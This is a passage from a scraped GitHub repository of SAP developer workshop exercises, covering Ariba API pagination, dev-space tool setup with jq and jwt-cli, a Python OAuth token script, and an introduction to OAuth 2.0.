[exercise-specific prerequisites](prerequisites.md).\n\n### 1. Get familiar with how pagination works\n\nIf you are not familiar with the concept of pagination in an API, I can bet you that you've used some form of pagination in the past. When interacting with a search engine, you've entered your search query, e.g. [SAP Devtoberfest](https://github.com/SAP-samples/sap-devtoberfest-2020), click the :mag_right: button and the web page renders some results. It is possible that the search engine has thousands of results for your search query, but it will only display the first 10 results. If you want more results, you will need to click page :two:. Still unable to find what you are after, click page :three: and so on.\n\n Pagination in an API works pretty much the same but instead of clicking, we programatically specify which page we want to retrieve. The API response is batched and paginated, the results are returned one page at a time.\n\nUnfortunately, there is no standard way APIs implement pagination but the process followed by APIs is very similar. The first request to the API, will only specify the data that the client is interested in. The API returns a subset of the data available and it informs the client that it has only returned part of the data. It does this by means of a \"pagination token\". This pagination token is returned in the response of the request, some APIs include it in the HTTP response headers, others in the body of the response. If the client is interested in retrieving more data, that matches its filtering criteria, it needs to include the pagination token in the request, to indicate to the API which page/batch of data it wants to retrieve.\n\n:point_right: Navigate to the help documentation of the SAP Ariba [Analytical Reporting API](https://help.sap.com/viewer/bf0cde439a0142fbbaf511bfac5b594d/latest/en-US/1f8247e9e767438c8f18db7973779eaf.html) and get familiar with how we can invoke the Analytical Reporting [synchronous API](https://help.sap.com/viewer/bf0cde439a0142fbbaf511bfac5b594d/latest/en-US/e8f72dd7ea794de7b06417aa32e4524d.html). Ask yourself the following: how can I know the total number of records available for my request? How can I request additional batches of data?\n\nWe'll use the diagram below to explain how pagination works in the SAP Ariba API ([Analytical Reporting API](https://help.sap.com/viewer/bf0cde439a0142fbbaf511bfac5b594d/latest/en-US/1f8247e9e767438c8f18db7973779eaf.html)) that you'll be using in the exercise. In this API, the pagination token is specified as a query parameter in the URL, e.g. `https://openapi.ariba.com/api/analytics-reporting-details/v1/prod/views/SourcingProjectSourcingSystemView?pageToken=[TOKEN_VALUE]`.\n\n> :warning: In the diagram below, I'm using api.ariba.com/report as the domain for convenience. This is not the URL of the Analytical Reporting API.\n\n```\n +--------+ +------------+\n | |--(1)------- api.ariba.com/report?pageToken= ----->| Reporting |\n | | | Data (API) |\n | |<-(2)----- Response includes PageToken: QmF0Y2gxCg ---| |\n | | +------------+\n | |\n | | +------------+\n | |--(3)--- api.ariba.com/report?pageToken=QmF0Y2gxCg -->| Reporting |\n | Client | | Data (API) |\n | |<-(4)----- Response includes PageToken: MkJhdGNoCg ---| |\n | | +------------+\n | |\n | | +------------+\n | |--(5)--- api.ariba.com/report?pageToken=MkJhdGNoCg -->| Reporting |\n | | | Data (API) |\n | |<-(6)---------- No PageToken in response -------------| |\n +--------+ +------------+\n```\n\nSequence:\n1. The client sends a request to the API with no `pageToken`. Given that the `pageToken` is empty, the query parameter can be omitted.\n2. The server response returns the first batch (page) of data and includes a PageToken (QmF0Y2gxCg) in the response body. The client will need to include this token in the next request if it wants to retrieve another batch of data.\n3. The client sends the same request but it now includes the token sent by the server -> `pageToken=QmF0Y2gxCg`.\n4. The server response returns the second batch of data and includes a new PageToken (MkJhdGNoCg).\n5. The client sends the same request but it now includes the second token retrieved -> `pageToken=MkJhdGNoCg`.\n6. The server response returns the third batch of data but this time there is no PageToken in the response, meaning that this is the last batch of data available for our request. No subsequent requests are needed to retrieve all the results.\n\nBy now, you should have a good understanding of the basic concepts around data pagination in an API and how you can paginate in the SAP Ariba API you'll be using in this exercise.\n\n### 2. Set up the SAP Ariba API details in script\n\nLets look at some code now. Before sending a request we will specify the application details previously shared by an SAP Ariba developer portal administrator in our environment configuration. In this step, we will use the [ariba_authentication.py](../07/scripts/ariba_authentication.py) script introduced in [exercise 07](../07/) to handle the authentication needed for this exercise.\n\n:point_right: Navigate to the [scripts folder](../07/scripts/) in exercise 07 and copy the [ariba_authentication.py](../07/scripts/ariba_authentication.py) file to the [scripts folder](scripts/) in this exercise.\n\nThe Python script uses [python-dotenv](https://pypi.org/project/python-dotenv/) to set some environment variable required by the script.\n\n:point_right: Navigate to the scripts folder and create a file called `.env`. Copy and paste the sample config settings shown below and replace the values of `REALM`, `API_OAUTH_URL`, `API_KEY`, `BASE64_AUTHSTRING` and maybe `API_URL` with the values provided by your administrator.\n\n> For a detailed explanation of the SAP Ariba developer portal, creating an application and its approval process, checkout the [SAP Ariba for developers YouTube playlist :tv:](https://www.youtube.com/watch?v=oXW3SBCadoI&list=PL6RpkC85SLQDXSLHrSPtu8wztzDs8kYPX)\n\nThe contents of the new .env file should look similar to the one below:\n```text\n############\n# Config settings\n############\n\n# Value in seconds\nTOKEN_DELAY=5\n\n############\n# Ariba API\n############\n\nREALM=MyRealm-T\nAPI_OAUTH_URL=\"https://api.ariba.com/v2/oauth/token\"\nAPI_KEY=YXBwbGljYXRpb25faWRfYWthX2FwaV9rZXkK\nBASE64_AUTHSTRING=b2F1dGhfY2xpZW50X2lkOm9hdXRoX2NsaWVudF9zZWNyZXRfbm90X3RoYXRfc2VjcmV0Cg==\nAPI_URL=https://openapi.ariba.com/api/analytics-reporting-details/v1/prod\n```\n\n### 3. Explore the [`ariba_pagination.py`](scripts/ariba_pagination.py) script\n\n:point_right: Go to the scripts folder, open the [`ariba_pagination.py`](scripts/ariba_pagination.py) file and go through the code.\n\nThe [`ariba_pagination.py`](scripts/ariba_pagination.py) script, included in this exercise, was created to facilitate completing the exercise. It retrieves the `access_token` from the credentials stored by the ariba_authentication.py script. The `access_token` will be used to retrieve data from the Analytical reporting API. To keep things simple, we will be using in this exercise the SourcingProjectSourcingSystemView template, which is available out of the box in SAP Ariba.\n\nThe script can be run in the following modes (by specifying the `--mode` parameter):\n- `count`: Gets how many records will be included in the results set for a query using the `SourcingProjectSourcingSystemView` template.\n- `paginate`: This is the default mode. Uses the previously retrieved access token to get a new access token from the OAuth server.\n\nIt is possible to specify the view template (`--view_template` parameter) and the filter criteria (`--filters` parameter) of the data that you want to extract.\n- `--view_template`: By default it will use the `SourcingProjectSourcingSystemView` view template, which is available out of the box in SAP Ariba.\n- `--filters`: The script expects a JSON structure to define the filter criteria, e.g. `'{\"createdDateFrom\":\"2019-07-07T00:00:00Z\",\"createdDateTo\":\"2020-07-06T00:00:00Z\"}'`\n\n### 4. Find out how many records we can retrieve using the view template + filter combination\n\nThe code sample below shows how we can call the SAP Ariba Analytical Reporting API to retrieve data from the view templates available in the realm.\n\n> Given that the filters are passed as a query parameter, it is important to encode them as it might include special characters, e.g. {, }\n\n```python\n# Code from ariba_pagination.py script L62-84\nheaders = {\n 'Authorization': f\"Bearer {get_access_token()}\",\n 'apiKey': API_KEY\n}\n\nrequest_url = f\"{API_URL}/views/{view_template}{path}?realm={REALM}&filters={urllib.parse.quote(filters)}\"\n\nif page_token is not None:\n request_url += f\"&pageToken={page_token}\"\n\nresponse = requests.request(\"GET\", request_url, headers=headers)\n```\n\n:point_right: Now you know how the script sends request to the SAP Ariba Analytical Reporting API. Lets find how many records are available for our view template + filter combination, go ahead and `count` the view template by running the following command line:\n\n```bash\n$ python ariba_pagination.py --mode count --view_template SourcingProjectSourcingSystemView --filters '{\"createdDateFrom\":\"2019-07-07T00:00:00Z\",\"createdDateTo\":\"2020-07-06T00:00:00Z\"}'\n```\n\nDepending on the amount of data available, the output of the command above will be similar to the below:\n```bash\n==========================\n👉 Request URL: https://openapi.ariba.com/api/analytics-reporting-details/v1/prod/views/SourcingProjectSourcingSystemView/count?realm=MyRealm-T&filters=%7B%22createdDateFrom%22%3A%222019-07-07T00%3A00%3A00Z%22%2C%22createdDateTo%22%3A%222020-07-06T00%3A00%3A00Z%22%7D\n==========================\nMaximum records per page: 10000\nTotal number of pages in result set: 1\nTotal number of records in result set: 135\n```\n\nYou can see that there are 135 records available. Let's now look at how we can retrieve the data.\n\n### 5. Paginate the records available for your view template + filter combination\n\nIt is possible that there is a lot of data available for your view template + filter combination. In that case, it will not be possible to retrieve all data at once and you will need to \"paginate\" the response. Every page retrieved will contain a subset of the data.\n\n:point_right: Now, that you know how many records are available for our view template + filter combination, go ahead and `paginate` the view template by running the following command line:\n\n```bash\n$ python ariba_pagination.py --mode paginate --view_template SourcingProjectSourcingSystemView --filters '{\"createdDateFrom\":\"2019-07-07T00:00:00Z\",\"createdDateTo\":\"2020-07-06T00:00:00Z\"}'\n```\n\nDepending on the amount of data available, the output of the command above will be similar to the below:\n```bash\n==========================\n👉 Request URL: https://openapi.ariba.com/api/analytics-reporting-details/v1/prod/views/SourcingProjectSourcingSystemView?realm=MyRealm-T&filters=%7B%22createdDateFrom%22%3A%222019-07-07T00%3A00%3A00Z%22%2C%22createdDateTo%22%3A%222020-07-06T00%3A00%3A00Z%22%7D&pageToken=\n==========================\nCurrent iteration: 0\nTotal number of records in response: 50\nNext page: QUlwY0FHN0NxVnA3ZE90\n==========================\n👉 Request URL: https://openapi.ariba.com/api/analytics-reporting-details/v1/prod/views/SourcingProjectSourcingSystemView?realm=MyRealm-T&filters=%7B%22createdDateFrom%22%3A%222019-07-07T00%3A00%3A00Z%22%2C%22createdDateTo%22%3A%222020-07-06T00%3A00%3A00Z%22%7D&pageToken=QUlwY0FHN0NxVnA3ZE90\n==========================\nCurrent iteration: 1\nTotal number of records in response: 50\nNext page: QUlwY0FHN0RJRTZURGlr\n==========================\n👉 Request URL: https://openapi.ariba.com/api/analytics-reporting-details/v1/prod/views/SourcingProjectSourcingSystemView?realm=MyRealm-T&filters=%7B%22createdDateFrom%22%3A%222019-07-07T00%3A00%3A00Z%22%2C%22createdDateTo%22%3A%222020-07-06T00%3A00%3A00Z%22%7D&pageToken=QUlwY0FHN0RJRTZURGlr\n==========================\nCurrent iteration: 2\nTotal number of records in response: 35\nNext page: STOP\nFinished!\n```\n\n> If you want to store the API response(s) locally, pass the --save parameter when invoking the ariba_pagination.py script, e.g. `python ariba_pagination.py --mode count --view_template SourcingProjectSourcingSystemView --filters '{\"createdDateFrom\":\"2019-07-07T00:00:00Z\",\"createdDateTo\":\"2020-07-06T00:00:00Z\"}' --save`.\n\n## Summary\n\nYou've made it to the end of this exercise :clap: :clap:. We've covered what pagination is and how it has been implemented in the SAP Ariba APIs. Also, we know where to look for a pagination token and how to include it in a request.\n\n\n## Questions\n\n1. Apart from a search engine, can you think of other application(s) where you've been presented with \"pages\" of data.\n2. What is the SAP Ariba Analytical Reporting API rate limit?\n3. What is the default page size when retrieving analytical reporting data? How can you specify a different value?\n" }, { "alpha_fraction": 0.7702192068099976, "alphanum_fraction": 0.7770219445228577, "avg_line_length": 39.09090805053711, "blob_id": "05edf281e162e917539fb8fe83c5743e1eafe84e", "content_id": "38be3352d98f3020f8ffe37fce578f3dec09e8d9", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1323, "license_type": "permissive", "max_line_length": 169, "num_lines": 33, "path": "/exercises/07/prerequisites.md", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "# Prerequisites\n\nThere are hardware and software prerequisites for completing this exercise.\n\n## Hardware\n\nEach participant must have their own laptop with enough admin privileges to be able to install software. The laptop must also be able to connect to the Internet.\n\n## Software\n\nBefore the virtual event, participants must ensure they have the following installed on their laptops:\n\n- Python (3+ version) : [https://www.python.org/downloads](https://www.python.org/downloads)\n- Create a Python virtual environment\n- An approved SAP Ariba developer application\n\nBelow, steps to install Python in Windows:\n\n1. Download Python from the Python website: https://www.python.org/downloads/release/python-382/\n1. Install virtualenvwrapper: https://pypi.org/project/virtualenvwrapper-win/\n\t```bash\n\tpip install virtualenvwrapper-win\n\t```\n1. Define environment variable in Windows: Add an environment variable `WORKON_HOME` to specify the path to store environments. By default, this is `%USERPROFILE%\\Envs`.\n1. Navigate to directory `scripts`, create virtual environment and install packages required to run `ariba_api_authentication.py`\n\t```bash\n cd scripts\n\tmkvirtualenv ariba-api-authentication -r requirements.txt\n\t```\n1. Ensure to activate the Python environment:\n ```bash\n workon ariba-api-authentication\n ```\n" }, { "alpha_fraction": 0.723906934261322, "alphanum_fraction": 0.7404725551605225, "avg_line_length": 54.23500061035156, "blob_id": "47c4f32a9cd3c5f82499f7c4d7af8868059edd10", "content_id": "89e5d4c48c728e54c15679dda518ddc9aad7ad42", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 11053, "license_type": "permissive", "max_line_length": 549, "num_lines": 200, "path": "/exercises/03/readme.md", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "# Exercise 03 - Setting up your dev space in the SAP Business Application Studio\n\nIn this exercise you'll set up everything you need for exploring the Workflow APIs and learning about how to use them. Specifically you'll prepare your dev space in the App Studio (details of which were listed in the [prerequisites](../../prerequisites.md)), install a couple of extra tools there, and then clone this repository and connect to your CF organization and space.\n\n## Steps\n\n[1. Add the `jq` tool to your App Studio dev space](#1-add-the-jq-tool-to-your-app-studio-dev-space)<br>\n[2. Add the `jwt-cli` tool to your App Studio dev space](#2-add-the-jwt-cli-tool-to-your-app-studio-dev-space)<br>\n[3. Clone and open this repository in your App Studio dev space](#3-clone-and-open-this-repository-in-your-app-studio-dev-space)<br>\n[4. Connect to your CF target](#4-connect-to-your-cf-target)\n\nBecause you're awesome and you've already set up your dev space according to the [prerequisites](../../prerequisites.md), with the \"MTA Tools\" and \"Workflow Management\" SAP extensions installed, you're almost ready to dive into the APIs.\n\nFirst though, as we'll be interacting with the Workflow API from the command line within your App Studio dev space and learning about it that way, we'll use this exercise to install a couple of tools there to help us. We'll also clone this repository into our dev space to get access to some useful scripts, and connect to our CF target and space so we can instantiate a service instance and create a service key for Workflow service activities.\n\n\n### 1. Add the `jq` tool to your App Studio dev space\n\nWe'll be dealing with JSON in this exercise, and [`jq`](https://stedolan.github.io/jq/), the \"lightweight and flexible command-line JSON processor\", is a great way to parse it and extract values, on the command line and in shell scripts. We need to download the appropriate executable to our dev space environment, and we can do this by looking for the download link and using that in our dev space's terminal.\n\n:point_right: In your dev space, open up a new terminal with menu path **Terminal → New Terminal** or with keyboard shortcut ``Ctrl-` `` and create a directory in which to put this locally installed executable:\n\n```shell\n> mkdir $HOME/bin/\n```\n\n> With all these shell prompt instructions, note that the real shell prompt that you are likely to see (such as `user: user $`) is not shown; instead, we just show `>` to keep things simple.\n\n:point_right: Now download the `jq` executable, getting the link from the [download page](https://stedolan.github.io/jq/download/), specifically the one for the latest Linux 64-bit binary. Currently that is for `jq` version 1.6, and the URL is as shown here in the command invocation:\n\n```shell\n> curl -L https://github.com/stedolan/jq/releases/download/jq-1.6/jq-linux64 > $HOME/bin/jq\n```\n\nHere's typical output that you might see:\n\n```\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n100 632 100 632 0 0 15047 0 --:--:-- --:--:-- --:--:-- 15047\n100 3861k 100 3861k 0 0 2690k 0 0:00:01 0:00:01 --:--:-- 3144k\n```\n\n:point_right: Make the downloaded `jq` file executable:\n\n```\n> chmod +x $HOME/bin/jq\n```\n\nIn order to be able to find this executable and run it in a convenient way, we need to add its location (the `$HOME/bin/` directory) to our PATH; a convenient way to do this is to append a line to our `.bashrc` file, which is executed when we start a new Bash shell (which is when we open a new terminal in our dev space).\n\n> We're placing this executable in the `$HOME/bin/` directory, as this is persisted between dev space retarts, which means it should be still there the next time we start the dev space up.\n\n:point_right: Append a line to your `.bashrc` file like this (_make sure you use TWO greater-than signs, not just one, otherwise you'll overwrite rather than append to the file!_):\n\n```\n> echo 'export PATH=$HOME/bin/:$PATH' >> $HOME/.bashrc\n```\n\nNow, opening up a new terminal (i.e. close the existing one either with `exit` or `Ctrl-D`), you'll be able to run jq:\n\n```\n> jq\njq - commandline JSON processor [version 1.6]\n\nUsage: jq [options] <jq filter> [file...]\n jq [options] --args <jq filter> [strings...]\n jq [options] --jsonargs <jq filter> [JSON_TEXTS...]\n...\n```\n\n### 2. Add the `jwt-cli` tool to your App Studio dev space\n\nWe'll be creating OAuth 2.0 access tokens in the course of this virtual event. These access tokens are actually JSON Web Tokens (JWT) and appear as long opaque strings of characters. But we can actually \"parse\" them with the help of a (JWT) command line tool.\n\nThe [`jwt-cli`](https://www.npmjs.com/package/jwt-cli) tool is available for Node.js and can be installed globally within your shell using the `--global` switch for the `npm` command.\n\n:point_right: At your shell prompt in the terminal, install `jwt-cli` globally like this:\n\n```shell\n> npm install --global jwt-cli\n```\n\nYou should see output like this (some lines omitted for brevity):\n\n```\n/home/user/.node_modules_global/bin/jwt -> /home/user/.node_modules_global/lib/node_modules/jwt-cli/bin/jwt.js\n[...]\n\n+ [email protected]\nadded 25 packages from 26 contributors in 2.563s\n```\n\nBecause the dev space container already contains Node.js and `npm`, that's all you need to do.\n\n> This globally installed tool should also persist across dev space restarts.\n\n:point_right: Check that you can execute the tool, by entering `jwt` at the prompt. You should see output similar to what's shown here:\n\n```\n> jwt\njwt-cli - JSON Web Token parser [version 1.2.3]\n\nUsage: jwt <encoded token> --secret=<signing secret>\n\nℹ Documentation: https://www.npmjs.com/package/jwt-cli\n⚠ Issue tracker: https://github.com/troyharvey/jwt-cli/issues\n```\n\n\n### 3. Clone and open this repository in your App Studio dev space\n\nThis repository (repo for short) that you're currently reading contains some scripts that have been written for you, to help you get to know the Workflow APIs from the bottom up. So that you can run these scripts in the context of your App Studio dev space, it's now time to clone this repo there.\n\nFirst, let's open the `projects/` directory as the workspace in your App Studio dev space.\n\n:point_right: Use the **Open Workspace** button in the Explorer perspective and choose the `projects/` directory to open:\n\n![Open Workspace](open-workspace.png)\n\n:point_right: Now, back in the terminal (you may need to open a fresh one), at the shell prompt, move into the `projects/` directory and then use `git` to clone the repo:\n\n\n```shell\n> cd $HOME/projects/\n> git clone [email protected]:SAP-samples/cloud-apis-virtual-event.git\n```\n\nHere's what the output should look like:\n\n```\nCloning into 'cloud-apis-virtual-event'...\nremote: Enumerating objects: 158, done.\nremote: Counting objects: 100% (158/158), done.\nremote: Compressing objects: 100% (111/111), done.\nremote: Total 158 (delta 53), reused 118 (delta 36), pack-reused 0\nReceiving objects: 100% (158/158), 1.30 MiB | 3.26 MiB/s, done.\nResolving deltas: 100% (53/53), done.\n```\n\n> On opening up a new terminal after opening the `projects/` directory as the workspace, you may already have been put directly into the `projects/` directory, so the `cd $HOME/projects/` is not entirely necessary in this case (but it won't harm to run this command if you want to).\n\nAt this stage, you'll have the entire repo in your `projects/` directory, and you should see it in the Explorer area. It includes a directory called `workspaces/`, which itself contains the \"working space\" for your adventures with the Workflow API -- a directory called `workflowapi/`.\n\n:point_right: Use the Explorer area to have a look around at the contents of the `workflowapi/` directory:\n\n![workflow api workspace directory contents](workspace-directory.png)\n\nHere's a quick overview of what you see:\n\n- `workflowproject/`: a directory containing a Multi-Target Application (MTA) project, which itself contains a workflow definition within a workflow module, that you'll be deploying to an instance of the Workflow service (in case a visual representation of this helps, jump over to [exercise 05 of the Cloud Platform Workflow Virtual Event repo](https://github.com/SAP-samples/cloud-platform-workflow-virtual-event/tree/master/exercises/05#1-create-a-new-workflow-project) where you'll see a simple diagram that illustrates this nested relationship)\n\n- `authorities.json`: a JSON definition of authorities (also known as scopes) which are required when making some Workflow API calls\n\n- `setup-service-key`: a simple script that uses the CF command-line client `cf` to set up and subsequently download a service key for the Workflow service instance that you'll be creating\n\n- `shared`: a set of shared variable definitions that are used across different scripts\n\n- `workflow`: the main script that illustrates Workflow API calls and will help you make them\n\n\n### 4. Connect to your CF target\n\nYou're about to embark on a series of CF activities using the `cf` command line tool; for this, you'll need to be connected to your CF endpoint, targeting your CF organization and space. You can do this in one of two ways - either using the App Studio facility, or at the command line with the `cf` command itself. Here are both ways, just pick one.\n\n> If the message in the bottom bar of the App Studio already states that your CF organization and space is targeted, then you can skip this step.\n\n**Option 1 - Using the App Studio facility**\n\n:point_right: Select the message in the bottom bar of the App Studio that says something like \"_The organization and space in Cloud Foundry have not been set_\". This will initiate a short wizard that will guide you through connecting to, authenticating with, and choosing an organization and space within, your CF endpoint. Make sure to connect to the CF environment that was set up in relation to your SAP Cloud Platform trial account as described in the [prerequisites](../../prerequisites.md).\n\n**Option 2 - At the command line**\n\n:point_right: At the shell prompt of a terminal session in your dev space, use `cf login` like this and substitute the sample values with your own:\n\n```\n> cf login\nAPI endpoint: https://api.cf.eu10.hana.ondemand.com\n\nEmail: [email protected]\n\nPassword:\nAuthenticating...\nOK\n\nTargeted org a52544d1trial\n\nTargeted space dev\n\nAPI endpoint: https://api.cf.eu10.hana.ondemand.com (API version: 3.86.0)\nUser: [email protected]\nOrg: a52544d1trial\nSpace: dev\n```\n\n> Depending on where you set your trial up, your API endpoint for CF may be different to what's shown here (`https://api.cf.eu10.hana.ondemand.com`) - check the details in your SAP Cloud Platform Cockpit.\n\n## Summary\n\nAt this point you are ready with a dev space, some utilities, and a connection to your CF organization and space, ready for the next part where you'll set up some Workflow artifacts with which to interact via the Workflow API.\n" }, { "alpha_fraction": 0.6416893601417542, "alphanum_fraction": 0.6463215351104736, "avg_line_length": 29.58333396911621, "blob_id": "b24285723fcf82d69bb69d58faceb2a27d8c9024", "content_id": "e5184536d31f3bf1af8702f9a9ee855386fc19c2", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3670, "license_type": "permissive", "max_line_length": 124, "num_lines": 120, "path": "/exercises/07/scripts/ariba_authentication.py", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "import os\nimport time\nimport argparse\nfrom os import getenv\nfrom enum import Enum\nimport requests\nimport json\nfrom datetime import datetime, timedelta\n\n# Loading environment variables\nfrom dotenv import load_dotenv\nload_dotenv()\n\nREALM = getenv('REALM')\nAPI_OAUTH_URL = getenv('API_OAUTH_URL')\nBASE64_AUTHSTRING = getenv('BASE64_AUTHSTRING')\n\nNEXT_REFRESH = None\nVERBOSE = False\n\n\nclass RunMode(Enum):\n access_token = 'access_token' \n refresh_token = 'refresh_token'\n loop = 'loop'\n \n def __str__(self):\n return self.value\n\n\ndef get_access_token():\n global NEXT_REFRESH\n NEXT_REFRESH = datetime.now() + timedelta(seconds=1320)\n\n payload = 'grant_type=client_credentials'\n headers = {\n 'Authorization': f\"Basic {BASE64_AUTHSTRING}\",\n 'Content-Type': 'application/x-www-form-urlencoded'\n }\n\n response = requests.request(\"POST\", API_OAUTH_URL, headers=headers, data=payload)\n parsed_json = json.loads(response.text)\n\n # Store credentials in a file, to be used by the refresh_token mechanism\n with open(f'{REALM}-token.json', 'w') as outfile:\n json.dump(parsed_json, outfile)\n\n if VERBOSE:\n print(f\"Authentication response: \\n{json.dumps(parsed_json, indent = 1)}\")\n \n print(f\"Next refresh: {NEXT_REFRESH}\")\n \n\ndef refresh_access_token():\n global NEXT_REFRESH\n\n refresh_token = None\n\n # Read the refresh_token from the previously acquired access_token\n credential_path = f'{REALM}-token.json'\n if os.path.exists(credential_path):\n with open(credential_path) as json_file:\n data = json.load(json_file)\n refresh_token = data['refresh_token']\n\n if refresh_token is not None:\n payload = f'grant_type=refresh_token&refresh_token={refresh_token}'\n headers = {\n 'Authorization': f\"Basic {BASE64_AUTHSTRING}\",\n 'Content-Type': 'application/x-www-form-urlencoded'\n }\n\n response = requests.request(\"POST\", API_OAUTH_URL, headers=headers, data=payload)\n parsed_json = json.loads(response.text)\n \n expires_in = parsed_json['expires_in']\n\n # Store refresh token in file\n with open(credential_path, 'w') as outfile:\n json.dump(parsed_json, outfile)\n\n # Calculate when the next refresh will occur\n NEXT_REFRESH = datetime.now() + timedelta(seconds=expires_in - 120)\n\n if VERBOSE:\n print(f\"Refresh token response: \\n{json.dumps(parsed_json, indent = 1)}\")\n \n print(f\"Next refresh: {NEXT_REFRESH}\")\n else:\n get_access_token()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='SAP Ariba authentication')\n\n parser.add_argument('--mode', type=RunMode, default=RunMode.loop, choices=list(RunMode))\n\n verbose_parser = parser.add_mutually_exclusive_group(required=False)\n verbose_parser.add_argument('--verbose', dest='verbose', action='store_true', help=\"Print out authentication response.\")\n \n parser.set_defaults(verbose=False)\n \n args = parser.parse_args()\n\n VERBOSE = args.verbose\n MODE = args.mode\n\n if args.mode == RunMode.access_token:\n get_access_token()\n elif args.mode == RunMode.refresh_token:\n refresh_access_token()\n elif args.mode == RunMode.loop:\n while True == True:\n if(NEXT_REFRESH is None):\n refresh_access_token()\n elif datetime.now() >= NEXT_REFRESH:\n refresh_access_token()\n time.sleep(int(getenv('TOKEN_DELAY')))\n else:\n raise ValueError(f\"Value specified for --mode parameter is not valid. Possible values: {list(RunMode)}\")\n" }, { "alpha_fraction": 0.7182114124298096, "alphanum_fraction": 0.7404495477676392, "avg_line_length": 95.85384368896484, "blob_id": "a44bee47e6a611c53cf69dd71c184d19759a7993", "content_id": "e0052ed18878ef0369001ec7f426b49984d97109", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 12591, "license_type": "permissive", "max_line_length": 1008, "num_lines": 130, "path": "/exercises/02/readme.md", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "# Exercise 02 - Understand OAuth 2.0 at a high level\n\nIn this exercise you'll learn about OAuth, the open standard for access control, and specifically about how OAuth, in its current version of 2.0, is used to protect and control access to SAP Cloud Platform API resources.\n\n\n## Steps\n\n[1. Get an overview of OAuth 2.0](#1-get-an-overview-of-oauth-20)<br>\n[2. Understand the roles in OAuth 2.0](#2-understand-the-roles-in-oauth-20)<br>\n[3. Understand OAuth 2.0 grant types](#3-understand-oauth-20-grant-types)<br>\n[4. See where these grant types are used for APIs on SAP Cloud Platform](#4-see-where-these-grant-types-are-used-for-apis-on-sap-cloud-platform)\n\nAfter completing the steps in this exercise you'll have an understanding of how OAuth 2.0 is used to protect and control access to resources, preparing you to be able to make calls to SAP Cloud Platform APIs that are so protected.\n\n### 1. Get an overview of OAuth 2.0\n\nOAuth 2.0 is an industry standard, based on work within the context of the Internet Engineering Task Force (IETF) and codified in [RFC 6749 - The OAuth 2.0 Authorization Framework](https://tools.ietf.org/html/rfc6749). The abstract section in this RFC provides a decent overview, with which we can start:\n\n_The OAuth 2.0 authorization framework enables a third-party\n application to obtain limited access to an HTTP service, either on\n behalf of a resource owner by orchestrating an approval interaction\n between the resource owner and the HTTP service, or by allowing the\n third-party application to obtain access on its own behalf._\n\n> RFC stands for Request For Comments and is a type of formal document describing methods, behaviors, research and innovations that underpin the Internet and related systems and protocols.\n\nImmediately we can see how OAuth 2.0 differs from, say, the use of HTTP Basic Authentication, which has been used in the past to protect and control access to API resources. How does this differ? Well, in many ways, but just to pick a couple:\n\n- HTTP Basic Authentication requires the use of a username and password; once compromised, those credentials are hard to revoke cleanly and without causing issues for other systems with which they were shared\n\n- Rather than just a resource and a username & password credential pair with HTTP Basic Authentication, the OAuth 2.0 approach identifies multiple actors in any given scenario - such as the resource owner, a third party application, and so on\n\nAt the beginning of the O'Reilly book [Getting Started with OAuth 2.0](https://www.oreilly.com/library/view/getting-started-with/9781449317843/) the author [Ryan Boyd](https://www.linkedin.com/in/ryguyrg/) describes this difference in a light-hearted manner by recounting a scene from the movie \"Ferris Bueller's Day Off\", where a valet parking attendant, given the keys to an expensive 1961 Ferrari (a [250 GT California Spyder](https://en.wikipedia.org/wiki/Ferrari_250#250_GT_California_Spyder_SWB), to be precise) to park, takes it out for a joyride instead of just parking it in the garage. Giving the valet the keys, and thereby full access to the car, is the equivalent of using a username & password based authentication mechanism. Ideally the car owner would have given the valet limited access preventing such a scenario, by providing scope limited in time and features - not allowing access to driving at high speed, going further than a few hundred meters, or opening the glove compartment or trunk.\n\nThe idea of OAuth 2.0 is to facilitate delegated access via tokens; tokens that have a limited scope, a limited lifespan, and that are granted either directly or via interaction with a resource owner.\n\n\n### 2. Understand the roles in OAuth 2.0\n\nAs mentioned in the previous step, there are multiple actors at play in an OAuth 2.0 scenario. These actors have different roles, and they can be summarized as follows:\n\n- **Client**: the application that requires access to resources\n\n- **Resource Server**: where the resources are, i.e. where the endpoints are that the Client wishes to consume\n\n- **Resource Owner**: the owner of the resources to which access is required; ultimately, this might be a system, or a human\n\n- **Authorization Server**: A server that (in the case where approval or denial of delegated access requires a decision by a human Resource Owner) presents an interface to approve or deny access requests, and that also issues and renews access tokens\n\nIn some circumstances the Authorization Server and the Resource Server might be the same and combined into one; in the context of SAP Cloud Platform however they are usually separate.\n\n\n### 3. Understand OAuth 2.0 grant types\n\nOAuth 2.0 has been designed to protect and control access to resources in different scenarios, where some or all of the roles described in the previous step are involved.\n\nIn the context of OAuth 2.0, protection of SAP Cloud Platform APIs is achieved in the context of different grant types. These grant types are specific scenarios that each describe what type of approach, or flow, is used that results in the granting of an access token with the appropriate authorizations.\n\nThe OAuth 2.0 grant types (also known as \"flows\") are summarized here. It's worth having this simple and deliberately abstract (not specific to any particular grant type) protocol flow diagram in mind, which is taken from the RFC ([section 1.2](https://tools.ietf.org/html/rfc6749#section-1.2)) and shows the different actors and exchanges:\n\n```\n +--------+ +---------------+\n | |--(A)- Authorization Request ->| Resource |\n | | | Owner |\n | |<-(B)-- Authorization Grant ---| |\n | | +---------------+\n | |\n | | +---------------+\n | |--(C)-- Authorization Grant -->| Authorization |\n | Client | | Server |\n | |<-(D)----- Access Token -------| |\n | | +---------------+\n | |\n | | +---------------+\n | |--(E)----- Access Token ------>| Resource |\n | | | Server |\n | |<-(F)--- Protected Resource ---| |\n +--------+ +---------------+\n```\n\n**Authorization Code**\n\nThis normally involved a request, initiated by the Client, to a human Resource Owner, asking them to grant access. If the access request is approved, an authorization code is 